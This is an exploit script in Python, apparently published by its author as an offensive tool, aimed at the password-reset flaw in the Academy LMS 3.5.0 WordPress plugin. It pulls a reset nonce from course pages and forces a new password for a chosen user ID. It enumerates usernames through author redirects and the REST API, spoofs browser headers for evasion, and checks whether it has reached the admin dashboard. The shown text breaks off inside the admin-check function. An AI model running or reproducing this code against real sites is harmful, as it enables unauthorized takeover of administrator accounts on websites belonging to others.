#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ RT.py By: Nxploited (Khaled Alenazi) GitHub: https://github.com/Nxploited Telegram: @KNxploited Description =========== Silent, high-signal assistant for abusing the insecure reset flow in Academy LMS 3.5.0. Behavior (per target) --------------------- 1) Normalize WordPress base (supports subdirectory installs). 2) Locate a valid reset key (academy_nonce) from course-related pages. 3) Trigger the vulnerable reset handler for a chosen user_id using a single password. 4) Enumerate candidate accounts (author & REST based). 5) Attempt strict login for each candidate with that password: - Reject on known login failure messages. - Require wordpress_logged_in cookie. - Require real access to /wp-admin pages with admin UI markers. 6) For each strictly verified login, append a line to the result file. Console philosophy ------------------ - No usernames, no passwords, no key values printed. - Each target gets a single compact status line: [TIME] [HOST] KEY: OK | RESET: OK | ACCESS: 2 HIT - Color-coded and ordered output, no noisy tracebacks or SSL warnings. """ import os import re import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, List, Set, Tuple from urllib.parse import urlparse import requests import urllib3 try: from colorama import Fore, Style, init as colorama_init # type: ignore colorama_init(autoreset=True) except Exception: class _C: RESET = "" RED = "" GREEN = "" YELLOW = "" CYAN = "" MAGENTA = "" BLUE = "" WHITE = "" Fore = _C() Style = _C() # Silent SSL / warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings() # -------------------------------------------------------- # Banner & UI # -------------------------------------------------------- BANNER_LINES = [ " ", " _____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___ ", "| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ | ", "| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_ ", r"|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|", " ", ] AUTHOR_LINE = ( "By: Nxploited (Khaled Alenazi) | GitHub: https://github.com/Nxploited | Telegram: @KNxploited" ) def print_banner() -> None: os.system("cls" if os.name == "nt" else "clear") for line in BANNER_LINES: print(Fore.MAGENTA + line + Style.RESET_ALL) print(Fore.CYAN + AUTHOR_LINE + Style.RESET_ALL) print() print( Fore.YELLOW + "Academy LMS 3.5.0 - Reset & Access Assistant (minimal, strict, silent)" + Style.RESET_ALL ) print(Fore.YELLOW + "-" * 74 + Style.RESET_ALL) print() # -------------------------------------------------------- # Minimal logging # -------------------------------------------------------- def now_hms() -> str: return time.strftime("%H:%M:%S") def format_site_status( base: str, key_status: str, reset_status: str, access_status: str, color: str, ) -> None: """ Single aligned status line per site, no sensitive values. Example: [01:23:45] [https://target.com/wp] KEY: OK | RESET: OK | ACCESS: 2 HIT """ line = ( f"[{now_hms()}] " f"[{base}] " f"KEY: {key_status:<4} | " f"RESET: {reset_status:<4} | " f"ACCESS: {access_status}" ) print(color + line + Style.RESET_ALL) def log_note(msg: str) -> None: print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}") def log_warn(msg: str) -> None: print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}") def log_err(msg: str) -> None: print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}") def log_done(msg: str) -> None: print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}") # -------------------------------------------------------- # URL / Session / Headers # -------------------------------------------------------- def split_wp_base(url: str) -> Tuple[str, str]: """ Split target URL into: base_host = scheme://netloc wp_base = installation path (or "" for root) """ url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url parsed = urlparse(url) base_host = f"{parsed.scheme}://{parsed.netloc}" path = parsed.path or "/" if path == "/": return base_host, "" return base_host, path.rstrip("/") def build_wp_url(base_host: str, wp_base: str, path: str) -> str: if not path.startswith("/"): path = "/" + path full = (wp_base + path).replace("//", "/") return base_host + full def build_session(timeout: int) -> requests.Session: """ Session tuned for low-noise scanning & light evasion. """ s = requests.Session() s.verify = False s.headers.update({ "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/121.0.0.0 Safari/537.36" ), "Accept": ( "text/html,application/xhtml+xml,application/xml;q=0.9," "image/avif,image/webp,image/apng,*/*;q=0.8" ), "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Pragma": "no-cache", "Cache-Control": "no-cache", }) adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1) s.mount("http://", adapter) s.mount("https://", adapter) return s # -------------------------------------------------------- # Reset key (academy_nonce) extraction # -------------------------------------------------------- def extract_reset_key(body: str) -> Optional[str]: """ Extract the reset key used by the vulnerable handler (academy_nonce). Only matches the specific key, not generic nonces. """ if not body: return None m = re.search(r'"academy_nonce"\s*:\s*"([^"]+)"', body) if m: return m.group(1) m = re.search(r"'academy_nonce'\s*:\s*'([^']+)'", body) if m: return m.group(1) m = re.search(r'academy_nonce["\']?\s*:\s*["\']([^"\']+)["\']', body) if m: return m.group(1) m = re.search(r'AcademyGlobal\.academy_nonce\s*=\s*["\']([^"\']+)["\']', body) if m: return m.group(1) m = re.search(r'data-academy_nonce=["\']([^"\']+)["\']', body) if m: return m.group(1) m = re.search(r'academy_nonce\s*=\s*["\']([^"\']+)["\']', body) if m: return m.group(1) return None def find_course_links(body: str, base_host: str, wp_base: str, max_links: int) -> List[str]: """ Extract up to max_links URLs that contain '/course/' from HTML, resolved under WP base. """ links: List[str] = [] if not body: return links href_pattern = re.compile(r'href=["\']([^"\']+)["\']', re.I) for m in href_pattern.finditer(body): href = m.group(1) if "/course/" in href: if href.startswith(("http://", "https://")): url = href else: url = build_wp_url(base_host, wp_base, href) if url not in links: links.append(url) if len(links) >= max_links: break return links def crawl_for_key( sess: requests.Session, base_host: str, wp_base: str, course_path: str, max_course_pages: int, timeout: int, ) -> Tuple[str, Optional[str]]: """ Try to recover a valid reset key (academy_nonce) from course pages. Returns: (source_url, key or None) """ course_root = build_wp_url(base_host, wp_base, course_path) try: r = sess.get(course_root, timeout=timeout, allow_redirects=True) except Exception: return course_root, None links = find_course_links(r.text or "", base_host, wp_base, max_course_pages) for url in links: try: r2 = sess.get(url, timeout=timeout, allow_redirects=True) except Exception: continue key = extract_reset_key(r2.text or "") if key: return url, key # Fallback: home home_url = build_wp_url(base_host, wp_base, "/") try: r3 = sess.get(home_url, timeout=timeout, allow_redirects=True) except Exception: return home_url, None key = extract_reset_key(r3.text or "") if key: return home_url, key return course_root, None # -------------------------------------------------------- # Reset handler interaction # -------------------------------------------------------- def trigger_reset( sess: requests.Session, base_host: str, wp_base: str, reset_path: str, key: str, new_password: str, user_id: int, timeout: int, ) -> bool: """ Trigger the vulnerable reset handler with the extracted key. This does NOT prove password change; it only confirms that the request reached the handler without failing nonce validation. """ reset_url = build_wp_url(base_host, wp_base, reset_path) if "?" in reset_url: full = f"{reset_url}&user_id={user_id}" else: full = f"{reset_url}?user_id={user_id}" data = { "new_password": new_password, "confirm_new_password": new_password, "security": key, "academy_reset_submit": "1", } try: r = sess.post( full, data=data, headers={ "Content-Type": "application/x-www-form-urlencoded", "Referer": full, }, timeout=timeout, allow_redirects=True, ) except Exception: return False if "Security check failed" in (r.text or ""): return False return True # -------------------------------------------------------- # Username enumeration (author + REST + guesses) # -------------------------------------------------------- AUTHOR_PATTERN = re.compile(r"/author/([^/]+)") AUTHOR_BODY_PATTERNS = [ re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I), re.compile(r"/author/([a-z0-9_\-]+)/", re.I), re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I), re.compile(r'"username":"([a-z0-9_\-]+)"', re.I), ] def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]: users: Set[str] = set() for i in range(1, max_i + 1): try: u = f"{root_url}/?author={i}" r = sess.get(u, timeout=timeout, allow_redirects=False) if r.status_code in (301, 302): loc = r.headers.get("location", "") or r.headers.get("Location", "") m = AUTHOR_PATTERN.search(loc) if m: users.add(m.group(1)) r2 = sess.get(u, timeout=timeout, allow_redirects=True) if r2.status_code == 200 and r2.text: body = r2.text for patt in AUTHOR_BODY_PATTERNS: for x in patt.findall(body): users.add(x) except Exception: continue return users def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]: users: Set[str] = set() api = root_url.rstrip("/") + "/wp-json/wp/v2/users" try: r = sess.get(api, timeout=timeout) except Exception: return users if r.status_code != 200: return users try: data = r.json() except Exception: return users if isinstance(data, list): for entry in data: if isinstance(entry, dict): for key in ("slug", "username", "name"): v = entry.get(key) if v: users.add(str(v)) return users def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]: sess = build_session(timeout) root = build_wp_url(base_host, wp_base, "/") users: Set[str] = set() users.update(enum_by_author(sess, root, timeout, max_i=10)) users.update(enum_by_rest(sess, root, timeout)) parsed = urlparse(root) host = parsed.netloc.split(":")[0].lower() if host.startswith("www."): host = host[4:] first_label = host.split(".")[0] if first_label and len(first_label) > 2: users.add(first_label) users.add("admin") users = {u for u in users if u and 2 < len(u) < 50} if not users: users = {"admin"} return sorted(users) # -------------------------------------------------------- # Strict admin access verification # -------------------------------------------------------- def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool: """ Check that the current session reaches /wp-admin pages and sees admin UI markers without being redirected to the login page or blocked by permission errors. """ admin_paths = [ "/wp-admin/index.php", "/wp-admin/profile.php", "/wp-admin/edit.php", "/wp-admin/plugins.php", "/wp-admin/users.php", ] markers = [ 'id="adminmenu"', 'id="wpadminbar"', '